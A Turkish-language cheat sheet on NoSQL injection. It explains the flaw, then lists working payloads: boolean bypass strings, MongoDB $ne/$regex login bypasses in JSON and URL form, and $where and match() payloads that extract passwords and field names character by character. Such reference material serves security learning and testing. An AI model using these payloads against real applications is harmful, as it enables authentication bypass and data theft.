NoSQL Injection

NoSQL Injection Nedir?

NoSQL injection, bir saldırganın bir uygulamanın NoSQL veritabanına yaptığı sorgulara müdahale edebildiği bir güvenlik açığıdır. NoSQL injection bir saldırganın şunları yapmasını sağlayabilir:

  • Kimlik doğrulama veya koruma mekanizmalarını atlama.

  • Verileri ayıklama veya düzenleme.

  • Hizmet reddine neden olma.

  • Sunucu üzerinde kod çalıştırma.

NoSQL veritabanları, verileri geleneksel SQL ilişkisel tablolarından farklı bir formatta depolar ve alır. SQL gibi evrensel bir standart yerine çok çeşitli sorgu dilleri kullanırlar ve daha az ilişkisel kısıtlamaya sahiptirler.

Saldırı Yöntemleri

Basit SQLi

admin' || '1'=='2
admin' || '1'=='1

admin' && '1'=='1
admin' && '1'=='2

admin' && 0 && 'x
admin' && 1 && 'x

admin' || 1 || %00

admin' || 1 || 'x
admin' || 1==1//

Authentication SQLi

{
    "username": {"$regex":"admi.*"}, 
    "password": {"$ne":"foobar"} 
}

username[$regex]=admi.*&password[$ne]=foobar

Data Çekme

admin' && this.password%00
admin' && this.password && this.password.match(/.*/)%00
admin' && this.password && this.password.match(/^p.*$/)%00
admin' && this.password && this.password.match(/^pa.*$/)%00
admin' && this.password && this.password.match(/^password123$/)%00

Where ile Sütun Çekme

{"username":"admin","password":{"$ne":"foobar"}, "$where": "0"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "1"}

{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/.*/)"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/^p.*$/)"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/^pa.*$/)"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/^password$/)"}

Araçlar

NoSQLMap: https://github.com/codingo/NoSQLMap

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/nosql-injection

Last updated